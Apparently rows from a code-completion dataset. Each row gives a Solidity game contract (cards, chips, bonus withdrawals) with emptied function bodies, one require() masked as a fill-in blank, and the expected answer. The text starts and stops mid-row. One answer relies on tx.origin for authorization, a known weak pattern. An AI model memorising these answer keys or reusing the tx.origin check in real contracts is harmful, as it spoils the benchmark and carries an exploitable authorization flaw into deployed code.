function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| auth_list[msg.sender] | 325,936 | auth_list[msg.sender] |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
require(<FILL_ME>)
auth_list[target] = true;
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| CanHandleAuth(tx.origin)||CanHandleAuth(msg.sender) | 325,936 | CanHandleAuth(tx.origin)||CanHandleAuth(msg.sender) |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
require(<FILL_ME>)
_;
}
modifier ValidPart(uint8 level, uint part)
{
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
function GainCard(address acc, uint32 iCard) external
{
}
function GetDynamicCardAmountList(address acc) external view returns(uint[] amountList)
{
}
function GenChipByRandomWeight(uint random, uint8 level, uint[] extWeight) external AuthAble returns(uint32 iChip)
{
}
function CheckGenChip(uint32 iChip) external view returns(bool)
{
}
function GenChip(uint32 iChip) external AuthAble
{
}
}
| GetPartNum(level)==parts.length | 325,936 | GetPartNum(level)==parts.length |
null | pragma solidity ^0.4.24;
contract Base
{
uint8 constant HEROLEVEL_MIN = 1;
uint8 constant HEROLEVEL_MAX = 5;
uint8 constant LIMITCHIP_MINLEVEL = 3;
uint constant PARTWEIGHT_NORMAL = 100;
uint constant PARTWEIGHT_LIMIT = 40;
address creator;
constructor() public
{
}
modifier MasterAble()
{
}
function IsLimitPart(uint8 level, uint part) internal pure returns(bool)
{
}
function GetPartWeight(uint8 level, uint part) internal pure returns(uint)
{
}
function GetPartNum(uint8 level) internal pure returns(uint)
{
}
}
contract BasicTime
{
uint constant DAY_SECONDS = 60 * 60 * 24;
function GetDayCount(uint timestamp) pure internal returns(uint)
{
}
function GetExpireTime(uint timestamp, uint dayCnt) pure internal returns(uint)
{
}
}
contract BasicAuth is Base
{
address master;
mapping(address => bool) auth_list;
function InitMaster(address acc) internal
{
}
modifier MasterAble()
{
}
modifier OwnerAble(address acc)
{
}
modifier AuthAble()
{
}
function CanHandleAuth(address from) internal view returns(bool)
{
}
function SetAuth(address target) external
{
}
function ClearAuth(address target) external
{
}
}
contract MainBase is Base
{
modifier ValidLevel(uint8 level)
{
}
modifier ValidParts(uint8 level, uint32[] parts)
{
}
modifier ValidPart(uint8 level, uint part)
{
require(part > 0);
require(<FILL_ME>)
_;
}
}
library IndexList
{
function insert(uint32[] storage self, uint32 index, uint pos) external
{
}
function remove(uint32[] storage self, uint32 index) external returns(bool)
{
}
function remove(uint32[] storage self, uint32 index, uint startPos) public returns(bool)
{
}
}
library ItemList {
using IndexList for uint32[];
struct Data {
uint32[] m_List;
mapping(uint32 => uint) m_Maps;
}
function _insert(Data storage self, uint32 key, uint val) internal
{
}
function _delete(Data storage self, uint32 key) internal
{
}
function set(Data storage self, uint32 key, uint num) public
{
}
function add(Data storage self, uint32 key, uint num) external
{
}
function sub(Data storage self, uint32 key, uint num) external
{
}
function has(Data storage self, uint32 key) public view returns(bool)
{
}
function get(Data storage self, uint32 key) public view returns(uint)
{
}
function list(Data storage self) view external returns(uint32[],uint[])
{
}
function isEmpty(Data storage self) view external returns(bool)
{
}
function keys(Data storage self) view external returns(uint32[])
{
}
}
contract MainCard is BasicAuth,MainBase
{
struct Card {
uint32 m_Index;
uint32 m_Duration;
uint8 m_Level;
uint16 m_DP; //DynamicProfit
uint16 m_DPK; //K is coefficient
uint16 m_SP; //StaticProfit
uint16 m_IP; //ImmediateProfit
uint32[] m_Parts;
}
struct CardLib {
uint32[] m_List;
mapping(uint32 => Card) m_Lib;
}
CardLib g_CardLib;
function AddNewCard(uint32 iCard, uint32 duration, uint8 level, uint16 dp, uint16 dpk, uint16 sp, uint16 ip, uint32[] parts) external MasterAble ValidLevel(level) ValidParts(level,parts)
{
}
function CardExists(uint32 iCard) public view returns(bool)
{
}
function GetCard(uint32 iCard) internal view returns(Card storage)
{
}
function GetCardInfo(uint32 iCard) external view returns(uint32, uint32, uint8, uint16, uint16, uint16, uint16, uint32[])
{
}
function GetExistsCardList() external view returns(uint32[])
{
}
}
contract MainChip is BasicAuth,MainBase
{
using IndexList for uint32[];
struct Chip
{
uint8 m_Level;
uint8 m_LimitNum;
uint8 m_Part;
uint32 m_Index;
uint256 m_UsedNum;
}
struct PartManager
{
uint32[] m_IndexList; //index list, player can obtain
uint32[] m_UnableList; //player can't obtain
}
struct ChipLib
{
uint32[] m_List;
mapping(uint32 => Chip) m_Lib;
mapping(uint32 => uint[]) m_TempList;
mapping(uint8 => mapping(uint => PartManager)) m_PartMap;//level -> level list
}
ChipLib g_ChipLib;
function AddNewChip(uint32 iChip, uint8 lv, uint8 limit, uint8 part) external MasterAble ValidLevel(lv) ValidPart(lv,part)
{
}
function GetChip(uint32 iChip) internal view returns(Chip storage)
{
}
function GetPartManager(uint8 level, uint iPart) internal view returns(PartManager storage)
{
}
function ChipExists(uint32 iChip) public view returns(bool)
{
}
function GetChipUsedNum(uint32 iChip) internal view returns(uint)
{
}
function CanObtainChip(uint32 iChip) internal view returns(bool)
{
}
function CostChip(uint32 iChip) internal
{
}
function ObtainChip(uint32 iChip) internal
{
}
function BeforeChipObtain(uint32 iChip) internal
{
}
function BeforeChipCost(uint32 iChip) internal
{
}
function AddChipTempTime(uint32 iChip, uint expireTime) internal
{
}
function RefreshChipUnableList(uint8 level) internal
{
}
function GenChipByWeight(uint random, uint8 level, uint[] extWeight) internal view returns(uint32)
{
}
function GetChipInfo(uint32 iChip) external view returns(uint32, uint8, uint8, uint, uint8, uint)
{
}
function GetExistsChipList() external view returns(uint32[])
{
}
}
contract MainBonus is BasicTime,BasicAuth,MainBase,MainCard
{
uint constant BASERATIO = 10000;
struct PlayerBonus
{
uint m_DrawedDay;
uint16 m_DDPermanent;// drawed day permanent
mapping(uint => uint16) m_DayStatic;
mapping(uint => uint16) m_DayPermanent;
mapping(uint => uint32[]) m_DayDynamic;
}
struct DayRatio
{
uint16 m_Static;
uint16 m_Permanent;
uint32[] m_DynamicCard;
mapping(uint32 => uint) m_CardNum;
}
struct BonusData
{
uint m_RewardBonus;//bonus pool,waiting for withdraw
uint m_RecordDay;// recordday
uint m_RecordBonus;//recordday bonus , to show
uint m_RecordPR;// recordday permanent ratio
mapping(uint => DayRatio) m_DayRatio;
mapping(uint => uint) m_DayBonus;// day final bonus
mapping(address => PlayerBonus) m_PlayerBonus;
}
BonusData g_Bonus;
constructor() public
{
}
function() external payable {}
function NeedRefresh(uint dayNo) internal view returns(bool)
{
}
function PlayerNeedRefresh(address acc, uint dayNo) internal view returns(bool)
{
}
function GetDynamicRatio(uint dayNo) internal view returns(uint tempRatio)
{
}
function GenDayRatio(uint dayNo) internal view returns(uint iDR)
{
}
function GetDynamicCardNum(uint32 iCard, uint dayNo) internal view returns(uint num)
{
}
function GetPlayerDynamicRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function GenPlayerRatio(address acc, uint dayNo) internal view returns(uint tempRatio)
{
}
function RefreshDayBonus() internal
{
}
function QueryPlayerBonus(address acc, uint todayNo) view internal returns(uint accBonus,uint16 accPR)
{
}
function GetDynamicCardAmount(uint32 iCard, uint timestamp) external view returns(uint num)
{
}
function AddDynamicProfit(address acc, uint32 iCard, uint duration) internal
{
}
function AddStaticProfit(address acc,uint16 ratio,uint duration) internal
{
}
function ImmediateProfit(address acc, uint ratio) internal
{
}
function ProfitByCard(address acc, uint32 iCard) internal
{
}
function QueryBonus() external view returns(uint)
{
}
function QueryMyBonus(address acc) external view returns(uint bonus)
{
}
function AddBonus(uint bonus) external AuthAble
{
}
function Withdraw(address acc) external
{
}
function MasterWithdraw() external
{
}
}
contract MainBag is BasicTime,BasicAuth,MainChip,MainCard
{
using ItemList for ItemList.Data;
struct Bag
{
ItemList.Data m_Stuff;
ItemList.Data m_TempStuff;
ItemList.Data m_Chips;
ItemList.Data m_TempCards; // temporary cards
ItemList.Data m_PermCards; // permanent cards
}
mapping(address => Bag) g_BagList;
function GainStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function CostStuff(address acc, uint32 iStuff, uint iNum) external AuthAble OwnerAble(acc)
{
}
function GetStuffNum(address acc, uint32 iStuff) view external returns(uint)
{
}
function GetStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainTempStuff(address acc, uint32 iStuff, uint dayCnt) external AuthAble OwnerAble(acc)
{
}
function GetTempStuffExpire(address acc, uint32 iStuff) external view returns(uint expire)
{
}
function GetTempStuffList(address acc) external view returns(uint32[],uint[])
{
}
function GainChip(address acc, uint32 iChip,bool bGenerated) external AuthAble OwnerAble(acc)
{
}
function CostChip(address acc, uint32 iChip) external AuthAble OwnerAble(acc)
{
}
function GetChipNum(address acc, uint32 iChip) external view returns(uint)
{
}
function GetChipList(address acc) external view returns(uint32[],uint[])
{
}
function GainCard2(address acc, uint32 iCard) internal
{
}
function HasCard(address acc, uint32 iCard) public view returns(bool)
{
}
function GetCardList(address acc) external view returns(uint32[] tempCards, uint[] cardsTime, uint32[] permCards)
{
}
}
contract Main is MainChip,MainCard,MainBag,MainBonus
{
constructor(address Master) public
{
}
